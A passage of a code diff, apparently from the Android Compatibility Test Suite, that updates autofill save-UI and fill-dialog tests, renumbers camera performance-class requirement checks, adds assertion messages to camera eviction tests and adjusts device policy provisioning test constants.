+ // Trigger autofill and set the save UI not show reason with
+ // NO_SAVE_UI_REASON_HAS_EMPTY_REQUIRED.
+ triggerAutofillForSaveUiCondition(NO_SAVE_UI_REASON_HAS_EMPTY_REQUIRED, withDataSet);
+
+ // Finish the context by login in and it will trigger to check if the save UI should be
+ // shown.
+ tapLogin();
+ }
+
/**
* Tests scenario where the context was committed, the save dialog was not shown because no
* value has been changed.
@@ -663,13 +709,16 @@
enableService();
// Set expectations.
- final CannedFillResponse.Builder builder = createTestResponseBuilder();
+ CannedFillResponse.Builder builder = createTestResponseBuilder(/* withDataSet= */ true);
builder.setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD);
sReplier.addResponse(builder.build());
// Trigger autofill and set the save UI not show reason with
// NO_SAVE_UI_REASON_HAS_EMPTY_REQUIRED.
- triggerAutofillForSaveUiCondition(NO_SAVE_UI_REASON_NO_VALUE_CHANGED);
+ // This test will compare the autofilled value and the ViewState value so the dataset
+ // is needed in this case.
+ triggerAutofillForSaveUiCondition(NO_SAVE_UI_REASON_NO_VALUE_CHANGED,
+ /* withDataSet= */ true);
// Finish the context by login in and it will trigger to check if the save UI should be
// shown.
@@ -693,7 +742,33 @@
enableService();
// Set expectations.
- final CannedFillResponse.Builder builder = createTestResponseBuilder();
+ CannedFillResponse.Builder builder = createTestResponseBuilder(/* withDataSet= */ true);
+ contextCommitted_whileFieldsFailedValidation(builder, /* withDataSet= */ true);
+
+
+ final List<Event> verifyEvents = InstrumentedAutoFillService.getFillEvents(2);
+ final Event event = verifyEvents.get(1);
+
+ assertThat(event.getNoSaveUiReason()).isEqualTo(NO_SAVE_UI_REASON_FIELD_VALIDATION_FAILED);
+ }
+
+ @Test
+ public void testContextCommitted_noSaveUi_whileFieldsFailedValidation_noDataSet()
+ throws Exception {
+ enableService();
+
+ // Set expectations.
+ CannedFillResponse.Builder builder = createTestResponseBuilder(/* withDataSet= */ false);
+ contextCommitted_whileFieldsFailedValidation(builder, /* withDataSet= */ false);
+
+ final List<Event> verifyEvents = InstrumentedAutoFillService.getFillEvents(1);
+ final Event event = verifyEvents.get(0);
+
+ assertThat(event.getNoSaveUiReason()).isEqualTo(NO_SAVE_UI_REASON_FIELD_VALIDATION_FAILED);
+ }
+
+ private void contextCommitted_whileFieldsFailedValidation(CannedFillResponse.Builder builder,
+ boolean withDataSet) throws Exception {
builder.setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
.setSaveInfoVisitor((contexts, saveInfoBuilder) -> {
final Validator validator =
@@ -704,7 +779,7 @@
// Trigger autofill and set the save UI not show reason with
// NO_SAVE_UI_REASON_FIELD_VALIDATION_FAILED.
- triggerAutofillForSaveUiCondition(NO_SAVE_UI_REASON_FIELD_VALIDATION_FAILED);
+ triggerAutofillForSaveUiCondition(NO_SAVE_UI_REASON_FIELD_VALIDATION_FAILED, withDataSet);
// Finish the context by login in and it will trigger to check if the save UI should be
// shown.
@@ -712,11 +787,6 @@
// Verify that the save UI should not be shown and the history should include the reason.
mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
-
- final List<Event> verifyEvents = InstrumentedAutoFillService.getFillEvents(2);
- final Event event = verifyEvents.get(1);
-
- assertThat(event.getNoSaveUiReason()).isEqualTo(NO_SAVE_UI_REASON_FIELD_VALIDATION_FAILED);
}
/**
@@ -728,13 +798,13 @@
enableService();
// Set expectations.
- final CannedFillResponse.Builder builder = createTestResponseBuilder();
+ CannedFillResponse.Builder builder = createTestResponseBuilder(/* withDataSet= */ true);
builder.setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD);
sReplier.addResponse(builder.build());
// Trigger autofill and set the save UI not show reason with
// NO_SAVE_UI_REASON_DATASET_MATCH.
- triggerAutofillForSaveUiCondition(NO_SAVE_UI_REASON_DATASET_MATCH);
+ triggerAutofillForSaveUiCondition(NO_SAVE_UI_REASON_DATASET_MATCH, /* withDataSet= */ true);
// Finish the context by login in and it will trigger to check if the save UI should be
// shown.
@@ -749,28 +819,33 @@
assertThat(event.getNoSaveUiReason()).isEqualTo(NO_SAVE_UI_REASON_DATASET_MATCH);
}
- private CannedFillResponse.Builder createTestResponseBuilder() {
- return new CannedFillResponse.Builder()
- .addDataset(new CannedDataset.Builder()
- .setId("id1")
- .setField(ID_USERNAME, BACKDOOR_USERNAME)
- .setField(ID_PASSWORD, "whatever")
- .setPresentation("dataset1", isInlineMode())
- .build())
- .setFillResponseFlags(FillResponse.FLAG_TRACK_CONTEXT_COMMITED);
+ private CannedFillResponse.Builder createTestResponseBuilder(boolean withDataSet) {
+ CannedFillResponse.Builder builder = new CannedFillResponse.Builder();
+ if (withDataSet) {
+ builder.addDataset(new CannedDataset.Builder()
+ .setId("id1")
+ .setField(ID_USERNAME, BACKDOOR_USERNAME)
+ .setField(ID_PASSWORD, "whatever")
+ .setPresentation("dataset1", isInlineMode())
+ .build());
+ }
+ return builder.setFillResponseFlags(FillResponse.FLAG_TRACK_CONTEXT_COMMITED);
}
/**
* Triggers autofill on username first and set the behavior of the different conditions so that
* the save UI should not be shown.
*/
- private void triggerAutofillForSaveUiCondition(int reason) throws Exception {
+ private void triggerAutofillForSaveUiCondition(int reason, boolean withDataSet)
+ throws Exception {
// Trigger autofill on username and check the suggestion is shown.
mUiBot.focusByRelativeId(ID_USERNAME);
mUiBot.waitForIdle();
sReplier.getNextFillRequest();
- mUiBot.assertDatasets("dataset1");
+ if (withDataSet) {
+ mUiBot.assertDatasets("dataset1");
+ }
if (reason == NO_SAVE_UI_REASON_HAS_EMPTY_REQUIRED) {
// Set empty value on password to meet that there was empty value for required ids.
diff --git a/tests/autofillservice/src/android/autofillservice/cts/dialog/LoginActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/dialog/LoginActivityTest.java
index 9865d1b..49ba64b 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/dialog/LoginActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/dialog/LoginActivityTest.java
@@ -173,6 +173,69 @@
}
@Test
+ public void testShowFillDialog_onlyShowOnce() throws Exception {
+ // Enable feature and test service
+ enableFillDialogFeature(sContext);
+ enableService();
+
+ // Set response with a dataset, there are two ids to trigger fill dialog.
+ final CannedFillResponse.Builder builder = new CannedFillResponse.Builder()
+ .addDataset(new CannedDataset.Builder()
+ .setField(ID_USERNAME, "dude")
+ .setField(ID_PASSWORD, "sweet")
+ .setPresentation(createPresentation("Dropdown Presentation"))
+ .setDialogPresentation(createPresentation("Dialog Presentation"))
+ .build())
+ .setDialogHeader(createPresentation("Dialog Header"))
+ .setDialogTriggerIds(ID_USERNAME, ID_PASSWORD);
+ sReplier.addResponse(builder.build());
+
+ // Start activity and autofill
+ LoginActivity activity = startLoginActivity();
+ mUiBot.waitForIdleSync();
+
+ sReplier.getNextFillRequest();
+ mUiBot.waitForIdleSync();
+
+ // Click on password field to trigger fill dialog
+ mUiBot.selectByRelativeIdFromUiDevice(ID_PASSWORD);
+ mUiBot.waitForIdleSync();
+
+ mUiBot.assertFillDialogDatasets("Dialog Presentation");
+
+ // Hide fill dialog via touch outside, but ime will appear. to hide IME before next test.
+ mUiBot.touchOutsideDialog();
+ mUiBot.waitForIdleSync();
+
+ assertMockImeStatus(activity, true);
+
+ activity.hideSoftInput();
+
+ assertMockImeStatus(activity, false);
+
+ // Click on the username field to trigger autofill. Although the username field supports
+ // a fill dialog, the fill dialog only shown once, so shows the dropdown UI.
+ mUiBot.selectByRelativeIdFromUiDevice(ID_USERNAME);
+ mUiBot.waitForIdleSync();
+
+ mUiBot.assertNoFillDialog();
+ mUiBot.assertDatasets("Dropdown Presentation");
+
+ // Focus on password field to trigger dropdown UI
+ // Note: It will click on dropdown UI if click the password field via UiDevice, so just
+ // switch focus via activity.
+ activity.onPassword(View::requestFocus);
+ mUiBot.waitForIdleSync();
+
+ // Set expected value, then select dataset
+ activity.expectAutoFill("dude", "sweet");
+ mUiBot.selectDataset("Dropdown Presentation");
+
+ // Check the results.
+ activity.assertAutoFilled();
+ }
+
+ @Test
public void testShowFillDialog_twoSuggestions_oneButton() throws Exception {
// Enable feature and test service
enableFillDialogFeature(sContext);
diff --git a/tests/autofillservice/src/android/autofillservice/cts/dropdown/CheckoutActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/dropdown/CheckoutActivityTest.java
index 1e3535e..94fe54d 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/dropdown/CheckoutActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/dropdown/CheckoutActivityTest.java
@@ -76,6 +76,7 @@
import android.widget.Spinner;
import android.widget.TimePicker;
+import org.junit.Ignore;
import org.junit.Test;
import java.util.Arrays;
@@ -573,6 +574,7 @@
}
@Test
+ @Ignore("b/232198065 Fix touch mode problem in ActivityTestRule")
public void autofillOneListValueToSpinner() throws Exception {
autofillListValue(AutofillValue.forList(1), 1, true);
}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/dropdown/FillEventHistoryTest.java b/tests/autofillservice/src/android/autofillservice/cts/dropdown/FillEventHistoryTest.java
index 9cf27f1..bbb30dc 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/dropdown/FillEventHistoryTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/dropdown/FillEventHistoryTest.java
@@ -109,8 +109,10 @@
sReplier.getNextSaveRequest();
// Assert it
- final List<Event> events = InstrumentedAutoFillService.getFillEvents(1);
- assertFillEventForSaveShown(events.get(0), NULL_DATASET_ID);
+ final List<Event> events = InstrumentedAutoFillService.getFillEvents(2);
+ FillEventHistory.Event event = events.get(0);
+ assertThat(event.getType()).isEqualTo(TYPE_CONTEXT_COMMITTED);
+ assertFillEventForSaveShown(events.get(1), NULL_DATASET_ID);
}
@@ -159,10 +161,12 @@
// ...and check again
{
- final List<Event> events = InstrumentedAutoFillService.getFillEvents(3);
+ final List<Event> events = InstrumentedAutoFillService.getFillEvents(4);
assertFillEventForDatasetShown(events.get(0), UI_TYPE_MENU);
assertFillEventForDatasetSelected(events.get(1), NULL_DATASET_ID, UI_TYPE_MENU);
assertFillEventForDatasetShown(events.get(2), UI_TYPE_MENU);
+ FillEventHistory.Event event = events.get(3);
+ assertThat(event.getType()).isEqualTo(TYPE_CONTEXT_COMMITTED);
}
}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/dropdown/WebViewActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/dropdown/WebViewActivityTest.java
index 698ba48..0be57ea 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/dropdown/WebViewActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/dropdown/WebViewActivityTest.java
@@ -42,6 +42,7 @@
import android.view.KeyEvent;
import android.view.ViewStructure.HtmlInfo;
+import org.junit.Assume;
import org.junit.Ignore;
import org.junit.Test;
@@ -107,6 +108,9 @@
}
private void autofillOneDatasetTest(boolean usesAppContext) throws Exception {
+ // TODO(b/226240255) WebView does not inform the autofill service about editText (re-)entry
+ Assume.assumeFalse(isPreventImeStartup());
+
// Set service.
enableService();
diff --git a/tests/autofillservice/src/android/autofillservice/cts/testcore/InlineUiBot.java b/tests/autofillservice/src/android/autofillservice/cts/testcore/InlineUiBot.java
index f488f09..5f184cf 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/testcore/InlineUiBot.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/testcore/InlineUiBot.java
@@ -145,7 +145,13 @@
Resources resources = mContext.getResources();
int resId = resources.getIdentifier("config_backGestureInset", "dimen", "android");
try {
- return resources.getDimensionPixelSize(resId) + 1;
+ int width = resources.getDimensionPixelSize(resId) + 1;
+ if (width >= defaultWidth) {
+ return width;
+ }
+ Log.i(TAG, "Got edge sensitivity width of " + width
+ + ", which is less than the default of " + defaultWidth + ". Using default");
+ return defaultWidth;
} catch (Resources.NotFoundException e) {
Log.e(TAG, "Failed to get edge sensitivity width. Defaulting to " + defaultWidth, e);
return defaultWidth;
diff --git a/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java b/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java
index 7a052cb..f80c36b 100644
--- a/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java
@@ -42,7 +42,6 @@
import android.hardware.Camera;
import android.hardware.camera2.CameraCharacteristics;
import android.hardware.camera2.CameraCharacteristics.Key;
-import android.hardware.camera2.CameraExtensionCharacteristics;
import android.hardware.camera2.CameraDevice;
import android.hardware.camera2.CameraMetadata;
import android.hardware.camera2.CaptureRequest;
@@ -2874,7 +2873,7 @@
* in CDD camera section 7.5
*/
@Test
- @CddTest(requirement = "7.5/H-1-1,H-1-2,H-1-3,H-1-4,H-1-8,H-1-9,H-1-10,H-1-11,H-1-12,H-1-13,H-1-14,H-1-15")
+ @CddTest(requirement = "7.5/H-1-1,H-1-2,H-1-3,H-1-4,H-1-8,H-1-9,H-1-10,H-1-11,H-1-12,H-1-13,H-1-14")
public void testCameraPerfClassCharacteristics() throws Exception {
if (mAdoptShellPerm) {
// Skip test for system camera. Performance class is only applicable for public camera
@@ -2900,7 +2899,6 @@
int perfClassLevelH112 = CameraTestUtils.PERFORMANCE_CLASS_CURRENT;
int perfClassLevelH113 = CameraTestUtils.PERFORMANCE_CLASS_CURRENT;
int perfClassLevelH114 = CameraTestUtils.PERFORMANCE_CLASS_CURRENT;
- int perfClassLevelH115 = CameraTestUtils.PERFORMANCE_CLASS_CURRENT;
DeviceReportLog reportLog = new DeviceReportLog(MPC_REPORT_LOG_NAME, MPC_STREAM_NAME);
@@ -2961,7 +2959,7 @@
}
}
- // H-1-10
+ // H-1-9
boolean supportHighSpeed = staticInfo.isCapabilitySupported(CONSTRAINED_HIGH_SPEED);
mCollector.expectTrue("Primary rear camera should support high speed recording",
!assertTPerfClass || supportHighSpeed);
@@ -2987,8 +2985,8 @@
mCollector.expectTrue("Primary rear camera should support HD or FULLHD @ 240",
!assertTPerfClass || support240Fps);
}
- perfClassLevelH110 = updatePerfClassLevel(support240Fps,
- perfClassLevelH110, CameraTestUtils.PERFORMANCE_CLASS_S);
+ perfClassLevelH19 = updatePerfClassLevel(support240Fps,
+ perfClassLevelH19, CameraTestUtils.PERFORMANCE_CLASS_S);
reportLog.addValue("rear camera 720p/1080p @ 240fps support", support240Fps,
ResultType.NEUTRAL, ResultUnit.NONE);
} else {
@@ -3081,67 +3079,49 @@
CameraTestUtils.PERFORMANCE_CLASS_R);
}
- // H-1-9
- CameraExtensionCharacteristics extensionChars =
- mCameraManager.getCameraExtensionCharacteristics(cameraId);
- List<Integer> supportedExtensions = extensionChars.getSupportedExtensions();
- boolean supportBokeh =
- supportedExtensions.contains(CameraExtensionCharacteristics.EXTENSION_BOKEH);
- boolean supportNight =
- supportedExtensions.contains(CameraExtensionCharacteristics.EXTENSION_NIGHT);
- mCollector.expectTrue(
- "Primary rear/front camera must support BOKEH and NIGHT camera2 extensions",
- !assertTPerfClass || (supportBokeh && supportNight));
- perfClassLevelH19 = updatePerfClassLevel(supportBokeh && supportNight,
- perfClassLevelH19, CameraTestUtils.PERFORMANCE_CLASS_S);
- reportLog.addValue(facingString + " camera extension bokeh mode support", supportBokeh,
- ResultType.NEUTRAL, ResultUnit.NONE);
- reportLog.addValue(facingString + " camera extension night mode support", supportNight,
- ResultType.NEUTRAL, ResultUnit.NONE);
-
- // H-1-11
+ // H-1-10
final double FOV_THRESHOLD = 0.001f;
double primaryToMaxFovRatio = getPrimaryToMaxFovRatio(cameraId, staticInfo);
Range<Float> zoomRatioRange = staticInfo.getZoomRatioRangeChecked();
- boolean meetH111 = (primaryToMaxFovRatio >= 1.0f - FOV_THRESHOLD)
+ boolean meetH110 = (primaryToMaxFovRatio >= 1.0f - FOV_THRESHOLD)
|| (zoomRatioRange.getLower() < 1.0f - FOV_THRESHOLD);
mCollector.expectTrue("Primary " + facingString + " camera must support zoomRatio < "
+ "1.0f if there is an ultrawide lens with the same facing",
- !assertTPerfClass || meetH111);
- perfClassLevelH111 = updatePerfClassLevel(meetH111, perfClassLevelH111,
+ !assertTPerfClass || meetH110);
+ perfClassLevelH110 = updatePerfClassLevel(meetH110, perfClassLevelH110,
CameraTestUtils.PERFORMANCE_CLASS_S);
reportLog.addValue(facingString + " camera supports maximum FOV using zoom ratio",
- meetH111, ResultType.NEUTRAL, ResultUnit.NONE);
+ meetH110, ResultType.NEUTRAL, ResultUnit.NONE);
- // H-1-13
- boolean meetH113 = staticInfo.isPreviewStabilizationSupported();
+ // H-1-12
+ boolean meetH112 = staticInfo.isPreviewStabilizationSupported();
mCollector.expectTrue("Primary " + facingString + " camera must support preview "
- + "stabilization", !assertTPerfClass || meetH113);
- perfClassLevelH113 = updatePerfClassLevel(meetH113, perfClassLevelH113,
+ + "stabilization", !assertTPerfClass || meetH112);
+ perfClassLevelH112 = updatePerfClassLevel(meetH112, perfClassLevelH112,
CameraTestUtils.PERFORMANCE_CLASS_S);
- reportLog.addValue(facingString + " camera preview stabilization", meetH113,
+ reportLog.addValue(facingString + " camera preview stabilization", meetH112,
ResultType.NEUTRAL, ResultUnit.NONE);
- // H-1-14
+ // H-1-13
int facing = staticInfo.getLensFacingChecked();
int numOfPhysicalRgbCameras = getNumberOfRgbPhysicalCameras(facing);
- boolean meetH114 = (numOfPhysicalRgbCameras <= 1) || staticInfo.isLogicalMultiCamera();
+ boolean meetH113 = (numOfPhysicalRgbCameras <= 1) || staticInfo.isLogicalMultiCamera();
mCollector.expectTrue("Primary " + facingString + " camera must be LOGICAL_MULTI_CAMERA"
+ " in case of multiple RGB cameras with same facing",
- !assertTPerfClass || meetH114);
- perfClassLevelH114 = updatePerfClassLevel(meetH114, perfClassLevelH114,
+ !assertTPerfClass || meetH113);
+ perfClassLevelH113 = updatePerfClassLevel(meetH113, perfClassLevelH113,
CameraTestUtils.PERFORMANCE_CLASS_S);
reportLog.addValue(facingString + " camera is LOGICAL_MULTI_CAMERA in case of multiple "
- + "RGB cameras with same facing", meetH114, ResultType.NEUTRAL,
+ + "RGB cameras with same facing", meetH113, ResultType.NEUTRAL,
ResultUnit.NONE);
- // H-1-15
- boolean meetH115 = staticInfo.isStreamUseCaseSupported();
+ // H-1-14
+ boolean meetH114 = staticInfo.isStreamUseCaseSupported();
mCollector.expectTrue("Primary " + facingString + " camera must support stream "
- + "use case", !assertTPerfClass || meetH115);
- perfClassLevelH115 = updatePerfClassLevel(meetH115, perfClassLevelH115,
+ + "use case", !assertTPerfClass || meetH114);
+ perfClassLevelH114 = updatePerfClassLevel(meetH114, perfClassLevelH114,
CameraTestUtils.PERFORMANCE_CLASS_S);
- reportLog.addValue(facingString + " camera stream use case", meetH115,
+ reportLog.addValue(facingString + " camera stream use case", meetH114,
ResultType.NEUTRAL, ResultUnit.NONE);
}
HashSet<String> primaryCameras = new HashSet<String>();
@@ -3160,13 +3140,13 @@
primaryCameras.add(primaryFrontId);
}
- // H-1-12
+ // H-1-11
Set<Set<String>> concurrentCameraIds = mCameraManager.getConcurrentCameraIds();
boolean supportPrimaryFrontBack = concurrentCameraIds.contains(primaryCameras);
mCollector.expectTrue("Concurrent primary front and primary back streaming must be "
+ "supported", !assertTPerfClass || supportPrimaryFrontBack);
- perfClassLevelH112 = updatePerfClassLevel(supportPrimaryFrontBack,
- perfClassLevelH112, CameraTestUtils.PERFORMANCE_CLASS_S);
+ perfClassLevelH111 = updatePerfClassLevel(supportPrimaryFrontBack,
+ perfClassLevelH111, CameraTestUtils.PERFORMANCE_CLASS_S);
reportLog.addValue("concurrent front back support", supportPrimaryFrontBack,
ResultType.NEUTRAL, ResultUnit.NONE);
@@ -3194,8 +3174,6 @@
perfClassLevelH113, ResultType.NEUTRAL, ResultUnit.NONE);
reportLog.addValue(PERF_CLASS_REQ_NUM_PREFIX + "H-1-14",
perfClassLevelH114, ResultType.NEUTRAL, ResultUnit.NONE);
- reportLog.addValue(PERF_CLASS_REQ_NUM_PREFIX + "H-1-15",
- perfClassLevelH115, ResultType.NEUTRAL, ResultUnit.NONE);
reportLog.submit(InstrumentationRegistry.getInstrumentation());
}
@@ -3216,6 +3194,9 @@
if (!staticInfo.isColorOutputSupported()) {
continue;
}
+ if (staticInfo.isMonochromeCamera()) {
+ continue;
+ }
numOfRgbPhysicalCameras++;
}
return numOfRgbPhysicalCameras;
diff --git a/tests/camera/src/android/hardware/multiprocess/camera/cts/CameraEvictionTest.java b/tests/camera/src/android/hardware/multiprocess/camera/cts/CameraEvictionTest.java
index 6857072..d89c8e6 100644
--- a/tests/camera/src/android/hardware/multiprocess/camera/cts/CameraEvictionTest.java
+++ b/tests/camera/src/android/hardware/multiprocess/camera/cts/CameraEvictionTest.java
@@ -193,7 +193,7 @@
mUiAutomation.adoptShellPermissionIdentity();
}
CameraManager manager = mContext.getSystemService(CameraManager.class);
- assertNotNull(manager);
+ assertNotNull("Unable to get CameraManager service!", manager);
String[] cameraIds = manager.getCameraIdListNoLazy();
if (cameraIds.length == 0) {
@@ -201,7 +201,7 @@
return;
}
- assertTrue(mContext.getMainLooper() != null);
+ assertTrue("Context has no main looper!", mContext.getMainLooper() != null);
// Setup camera manager
String chosenCamera = cameraIds[0];
@@ -309,7 +309,7 @@
*/
public void testCamera2OomScoreOffsetPermissions() throws Throwable {
CameraManager manager = mContext.getSystemService(CameraManager.class);
- assertNotNull(manager);
+ assertNotNull("Unable to get CameraManager service!", manager);
String[] cameraIds = manager.getCameraIdListNoLazy();
if (cameraIds.length == 0) {
@@ -317,7 +317,7 @@
return;
}
- assertTrue(mContext.getMainLooper() != null);
+ assertTrue("Context has no main looper!", mContext.getMainLooper() != null);
for (String cameraId : cameraIds) {
// Setup camera manager
Handler cameraHandler = new Handler(mContext.getMainLooper());
@@ -371,7 +371,7 @@
final int permissionCallbackTimeoutMs = 3000;
CameraManager manager = mContext.getSystemService(CameraManager.class);
- assertNotNull(manager);
+ assertNotNull("Unable to get CameraManager service!", manager);
String[] cameraIds = manager.getCameraIdListNoLazy();
if (cameraIds.length == 0) {
@@ -379,7 +379,7 @@
return;
}
- assertTrue(mContext.getMainLooper() != null);
+ assertTrue("Context has no main looper!", mContext.getMainLooper() != null);
// Setup camera manager
Handler cameraHandler = new Handler(mContext.getMainLooper());
@@ -402,7 +402,10 @@
Rect splitBounds = metrics.getBounds();
// The original of the initial and split activity bounds should remain the same
- assertTrue((initialBounds.left == splitBounds.left)
+ assertTrue("Initial bounds and split bounds do not match! "
+ + "(" + initialBounds.left + ", " + initialBounds.top + ") vs. "
+ + "(" + splitBounds.left + ", " + splitBounds.top + ")",
+ (initialBounds.left == splitBounds.left)
&& (initialBounds.top == splitBounds.top));
Rect secondBounds;
@@ -430,7 +433,7 @@
public void testCamera2AccessCallback() throws Throwable {
int PERMISSION_CALLBACK_TIMEOUT_MS = 2000;
CameraManager manager = mContext.getSystemService(CameraManager.class);
- assertNotNull(manager);
+ assertNotNull("Unable to get CameraManager service!", manager);
String[] cameraIds = manager.getCameraIdListNoLazy();
if (cameraIds.length == 0) {
@@ -438,7 +441,7 @@
return;
}
- assertTrue(mContext.getMainLooper() != null);
+ assertTrue("Context has no main looper!", mContext.getMainLooper() != null);
// Setup camera manager
Handler cameraHandler = new Handler(mContext.getMainLooper());
@@ -466,7 +469,7 @@
public void testCamera2NativeAccessCallback() throws Throwable {
int PERMISSION_CALLBACK_TIMEOUT_MS = 2000;
CameraManager manager = mContext.getSystemService(CameraManager.class);
- assertNotNull(manager);
+ assertNotNull("Unable to get CameraManager service!", manager);
String[] cameraIds = manager.getCameraIdListNoLazy();
if (cameraIds.length == 0) {
@@ -685,7 +688,8 @@
String cameraActivityName = a.getPackageName() + ":" + processName;
List<ActivityManager.RunningAppProcessInfo> list =
mActivityManager.getRunningAppProcesses();
- assertEquals(-1, getPid(cameraActivityName, list));
+ assertEquals("Activity " + cameraActivityName + " already running.",
+ -1, getPid(cameraActivityName, list));
// Start activity in a new top foreground process
Intent activityIntent = new Intent(a, klass);
@@ -698,7 +702,8 @@
// Fail if activity isn't running
list = mActivityManager.getRunningAppProcesses();
mProcessPid = getPid(cameraActivityName, list);
- assertTrue(-1 != mProcessPid);
+ assertTrue("Activity " + cameraActivityName + " not found in list of running app "
+ + "processes.", -1 != mProcessPid);
}
/**
@@ -740,7 +745,7 @@
* @param array array to check.
*/
public static <T> void assertNotEmpty(T[] array) {
- assertNotNull(array);
+ assertNotNull("Array is null.", array);
assertFalse("Array is empty: " + Arrays.toString(array), array.length == 0);
}
@@ -757,9 +762,9 @@
* @param <T>
*/
public static <T> void assertOrderedEvents(T[] actual, T[] expected, T[] ignored) {
- assertNotNull(actual);
- assertNotNull(expected);
- assertNotNull(ignored);
+ assertNotNull("List of actual events is null.", actual);
+ assertNotNull("List of expected events is null.", expected);
+ assertNotNull("List of ignored events is null.", ignored);
int expIndex = 0;
int index = 0;
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/DevicePolicyManagerTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/DevicePolicyManagerTest.java
index bbf4325..ec95ddd 100644
--- a/tests/devicepolicy/src/android/devicepolicy/cts/DevicePolicyManagerTest.java
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/DevicePolicyManagerTest.java
@@ -22,14 +22,18 @@
import static android.app.AppOpsManager.MODE_ALLOWED;
import static android.app.admin.DevicePolicyManager.ACTION_MANAGED_PROFILE_PROVISIONED;
import static android.app.admin.DevicePolicyManager.EXTRA_PROVISIONING_ACCOUNT_TO_MIGRATE;
+import static android.app.admin.DevicePolicyManager.EXTRA_PROVISIONING_ADMIN_EXTRAS_BUNDLE;
import static android.app.admin.DevicePolicyManager.EXTRA_PROVISIONING_DEVICE_ADMIN_COMPONENT_NAME;
import static android.app.admin.DevicePolicyManager.EXTRA_PROVISIONING_DEVICE_ADMIN_PACKAGE_NAME;
import static android.app.admin.DevicePolicyManager.EXTRA_PROVISIONING_LOCALE;
+import static android.app.admin.DevicePolicyManager.EXTRA_PROVISIONING_ROLE_HOLDER_EXTRAS_BUNDLE;
import static android.app.admin.DevicePolicyManager.EXTRA_PROVISIONING_TIME_ZONE;
+import static android.app.admin.DevicePolicyManager.EXTRA_PROVISIONING_TRIGGER;
import static android.app.admin.DevicePolicyManager.EXTRA_PROVISIONING_WIFI_PASSWORD;
import static android.app.admin.DevicePolicyManager.EXTRA_PROVISIONING_WIFI_SECURITY_TYPE;
import static android.app.admin.DevicePolicyManager.EXTRA_PROVISIONING_WIFI_SSID;
import static android.app.admin.DevicePolicyManager.MIME_TYPE_PROVISIONING_NFC;
+import static android.app.admin.DevicePolicyManager.PROVISIONING_TRIGGER_NFC;
import static android.app.admin.ProvisioningException.ERROR_PRE_CONDITION_FAILED;
import static android.content.Intent.EXTRA_USER;
import static android.content.pm.PackageManager.FEATURE_DEVICE_ADMIN;
@@ -93,16 +97,12 @@
import com.android.bedstead.harrier.annotations.enterprise.EnsureHasNoProfileOwner;
import com.android.bedstead.harrier.annotations.enterprise.EnsureHasProfileOwner;
import com.android.bedstead.nene.TestApis;
-import com.android.bedstead.nene.devicepolicy.DeviceOwner;
-import com.android.bedstead.nene.devicepolicy.ProfileOwner;
import com.android.bedstead.nene.packages.Package;
import com.android.bedstead.nene.permissions.PermissionContext;
import com.android.bedstead.nene.users.UserReference;
import com.android.bedstead.nene.users.UserType;
import com.android.bedstead.remotedpc.RemoteDpc;
-import com.android.bedstead.testapp.TestApp;
import com.android.bedstead.testapp.TestAppInstance;
-import com.android.bedstead.testapp.TestAppProvider;
import com.android.compatibility.common.util.SystemUtil;
import com.android.eventlib.events.broadcastreceivers.BroadcastReceivedEvent;
@@ -186,19 +186,22 @@
private static final String NFC_INTENT_PROVISIONING_SAMPLE = "NFC provisioning sample";
private static final Intent NFC_INTENT_NO_NDEF_RECORD = new Intent(ACTION_NDEF_DISCOVERED);
private static final HashMap<String, String> NFC_DATA_VALID = createNfcIntentData();
- private static final HashMap<String, String> NFC_DATA_EMPTY = new HashMap();
+ private static final HashMap<String, String> NFC_DATA_EMPTY = new HashMap<>();
private static final Map<String, String> NFC_DATA_WITH_COMPONENT_NAME =
Map.of(EXTRA_PROVISIONING_DEVICE_ADMIN_COMPONENT_NAME, NFC_INTENT_COMPONENT_NAME);
+ private static final Bundle EXPECTED_BUNDLE_WITH_COMPONENT_NAME =
+ createExpectedBundleWithComponentName();
private static final Map<String, String> NFC_DATA_WITH_ADMIN_PACKAGE_NAME =
Map.of(EXTRA_PROVISIONING_DEVICE_ADMIN_PACKAGE_NAME, NFC_INTENT_PACKAGE_NAME);
-
- private static final TestAppProvider sTestAppProvider = new TestAppProvider();
- private static final TestApp sDpcApp = sTestAppProvider.query()
- .whereIsDeviceAdmin().isTrue()
- .whereTestOnly().isFalse()
- .get();
+ private static final Bundle EXPECTED_BUNDLE_WITH_PACKAGE_NAME =
+ createExpectedBundleWithPackageName();
private static final PersistableBundle ADMIN_EXTRAS_BUNDLE = createAdminExtrasBundle();
+ private static final PersistableBundle ROLE_HOLDER_EXTRAS_BUNDLE =
+ createRoleHolderExtrasBundle();
+ private static final String ADMIN_EXTRAS_PROPERTIES = createAdminExtrasProperties();
+ private static final String ROLE_HOLDER_EXTRAS_PROPERTIES =
+ createRoleHolderExtrasProperties();
private static final String TEST_KEY = "test_key";
private static final String TEST_VALUE = "test_value";
private static final UserType MANAGED_PROFILE_USER_TYPE =
@@ -220,40 +223,6 @@
}
}
- @Test
- @EnsureHasNoDpc
